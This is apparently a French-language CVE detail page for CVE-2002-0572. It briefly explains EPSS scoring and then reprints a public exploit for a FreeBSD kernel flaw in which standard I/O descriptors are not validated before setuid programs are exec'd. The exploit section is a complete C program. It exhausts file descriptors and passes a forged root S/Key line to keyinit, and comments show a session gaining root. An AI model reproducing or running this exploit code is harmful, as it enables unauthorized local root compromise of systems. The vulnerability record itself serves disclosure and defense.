CVE-2002-0572 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/4568/info It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'. This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence. */ /* phased/b10z phased@snosoft.com 23/04/2002 stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) > id uid=1003(phased) gid=999(phased) groups=999(phased) > ./iosmash Adding phased: <--- HIT CTRL-C ---> > su s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM xes# this program makes the following skeys valid 95: CARE LIVE CARD LOFT CHIC HILL 96: TESS OIL WELD DUD MUTE KIT 97: DADE BED DRY JAW GRAB NOV 98: MASS OAT ROLL TOOL AGO CAM 99: DARK LEW JOLT JIVE MOS WHO http://www.snosoft.com cheers Joost Pol */ #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { while(dup(1) != -1); close(2); execl("/usr/bin/keyinit", "\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"); }